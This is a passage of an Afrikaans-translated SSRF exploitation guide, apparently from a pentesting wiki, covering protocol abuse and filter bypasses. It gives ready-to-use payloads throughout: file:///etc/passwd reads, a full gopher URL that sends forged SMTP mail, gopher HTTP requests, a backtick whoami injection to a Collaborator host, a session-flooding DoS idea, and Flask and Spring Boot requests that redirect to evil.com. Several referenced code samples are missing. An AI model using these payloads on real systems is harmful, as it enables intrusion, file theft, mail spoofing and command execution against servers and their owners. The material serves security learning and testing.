Gebruik Trickest om maklik te bou en werkvloei te outomatiseer wat aangedryf word deur die wêreld se mees gevorderde gemeenskapstoestelle.
Kry Toegang Vandag:
'n Server-side Request Forgery (SSRF) kwesbaarheid ontstaan wanneer 'n aanvaller 'n server-side toepassing manipuleer om HTTP versoeke na 'n domein van hul keuse te maak. Hierdie kwesbaarheid stel die bediener bloot aan arbitrêre eksterne versoeke wat deur die aanvaller gerig word.
Capture SSRF
Die eerste ding wat jy moet doen, is om 'n SSRF-interaksie wat deur jou gegenereer is, te vang. Om 'n HTTP of DNS-interaksie te vang, kan jy gereedskap soos die volgende gebruik:
Gewoonlik sal jy vind dat die SSRF slegs werk in sekere whitelisted domeine of URL's. Op die volgende bladsy het jy 'n samestelling van tegnieke om te probeer om daardie whitelist te omseil:
As die bediener korrek beskerm is, kan jy alle beperkings omseil deur 'n Open Redirect binne die webblad te benut. Omdat die webblad SSRF na dieselfde domein sal toelaat en waarskynlik omleidings sal volg, kan jy die Open Redirect benut om die bediener toegang te laat kry tot enige interne hulpbron.
Lees meer hier: https://portswigger.net/web-security/ssrf
Protokolle
file://
Die URL-skema file:// word genoem, wat direk na /etc/passwd wys: file:///etc/passwd
dict://
Die DICT URL-skema word beskryf as gebruik om definisies of woordlyste via die DICT-protokol te benader. 'n Voorbeeld wat gegee word, illustreer 'n saamgestelde URL wat 'n spesifieke woord, databasis en inskrywingsnommer teiken, sowel as 'n geval van 'n PHP-skrip wat moontlik misbruik kan word om met 'n DICT-bediener te verbind met aanvaller-gelewer geloofsbriewe: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
SFTP://
Geïdentifiseer as 'n protokol vir veilige lêer oordrag oor 'n veilige skulp, 'n voorbeeld word gegee wat toon hoe 'n PHP-skrip misbruik kan word om met 'n kwaadwillige SFTP-bediener te verbind: url=sftp://generic.com:11111/
TFTP://
Triviale Lêer Oordrag Protokol, wat oor UDP werk, word genoem met 'n voorbeeld van 'n PHP-skrip wat ontwerp is om 'n versoek na 'n TFTP-bediener te stuur. 'n TFTP-versoek word gemaak na 'generic.com' op poort '12346' vir die lêer 'TESTUDPPACKET': ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
LDAP://
Hierdie segment dek die Lightweight Directory Access Protocol, met die klem op die gebruik daarvan om verspreide gidsinligtingdienste oor IP-netwerke te bestuur en te benader. Interaksie met 'n LDAP-bediener op localhost: '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
SMTP
'n Metode word beskryf om SSRF-kwesbaarhede te benut om met SMTP-dienste op localhost te interaksie, insluitend stappe om interne domeinnames te onthul en verdere ondersoek aksies gebaseer op daardie inligting.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
Curl URL globbing - WAF omseiling
As die SSRF deur curl uitgevoer word, het curl 'n kenmerk genaamd URL globbing wat nuttig kan wees om WAFs te omseil. Byvoorbeeld in hierdie skrywe kan jy hierdie voorbeeld vir 'n pad traversering via file protokol vind:
Die Gopher-protokol se vermoë om IP, poort en bytes vir bedienerkommunikasie te spesifiseer, word bespreek, saam met gereedskap soos Gopherus en remote-method-guesser vir die opstel van payloads. Twee verskillende gebruike word geïllustreer:
Gopher://
Met hierdie protokol kan jy die IP, poort en bytes spesifiseer wat jy wil hê die bediener moet stuur. Dan kan jy basies 'n SSRF benut om met enige TCP-bediener te kommunikeer (maar jy moet weet hoe om met die diens te praat).
gelukkig kan jy Gopherus gebruik om payloads vir verskeie dienste te skep. Boonop kan remote-method-guesser gebruik word om gopher payloads vir Java RMI dienste te skep.
Gopher smtp
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
Gopher HTTP
#For new lines you can use %0A, %0D%0Agopher://<server>:8080/_GET /HTTP/1.0%0A%0Agopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
Analytiese sagteware op bedieners log dikwels die Referrer header om inkomende skakels te volg, 'n praktyk wat per ongeluk toepassings blootstel aan Server-Side Request Forgery (SSRF) kwesbaarhede. Dit is omdat sulke sagteware eksterne URL's wat in die Referrer header genoem word, mag besoek om verwysingsite-inhoud te analiseer. Om hierdie kwesbaarhede te ontdek, word die Burp Suite-inprop "Collaborator Everywhere" aanbeveel, wat die manier waarop analitiese gereedskap die Referer header verwerk, benut om potensiële SSRF-aanvaloppervlakke te identifiseer.
SSRF via SNI data from certificate
'n Misconfigurasie wat die verbinding met enige agtergrond deur 'n eenvoudige opstelling kan moontlik maak, word geïllustreer met 'n voorbeeld Nginx-konfigurasie:
In hierdie konfigurasie word die waarde van die Server Name Indication (SNI) veld direk as die agtergrond se adres gebruik. Hierdie opstelling stel 'n kwesbaarheid aan Server-Side Request Forgery (SSRF) bloot, wat benut kan word deur eenvoudig die gewenste IP-adres of domeinnaam in die SNI-veld te spesifiseer. 'n Voorbeeld van 'n benutting om 'n verbinding na 'n arbitrêre agtergrond, soos internal.host.com, te dwing, met die openssl opdrag word hieronder gegee:
Dit mag die moeite werd wees om 'n payload soos: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` te probeer
PDF's Rendering
As die webblad outomaties 'n PDF met inligting wat jy verskaf het, skep, kan jy sekere JS invoeg wat deur die PDF-skeppende (die bediener) self uitgevoer sal word terwyl die PDF geskep word en jy sal in staat wees om 'n SSRF te misbruik. Vind meer inligting hier.
Van SSRF na DoS
Skep verskeie sessies en probeer om swaar lêers af te laai deur die SSRF van die sessies te benut.
SSRF PHP Funksies
Kyk na die volgende bladsy vir kwesbare PHP en selfs Wordpress funksies:
Vir sommige uitbuitings mag jy 'n oorplasing antwoord moet stuur (potensieel om 'n ander protokol soos gopher te gebruik). Hier het jy verskillende python kodes om met 'n oorplasing te antwoord:
</details>
Flask laat toe om **`@`** as die aanvanklike karakter te gebruik, wat dit moontlik maak om die **aanvanklike gasheernaam die gebruikersnaam** te maak en 'n nuwe een in te spuit. Aanval versoek:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
Spring Boot
Kwetsbare kode:
Daar is ontdek dat dit moontlik is om die pad van 'n versoek met die karakter ; te begin, wat dit moontlik maak om dan @ te gebruik en 'n nuwe gasheer in te voeg om toegang te verkry. Aanval versoek:
GET ;@evil.com/url HTTP/1.1Host:target.comConnection:close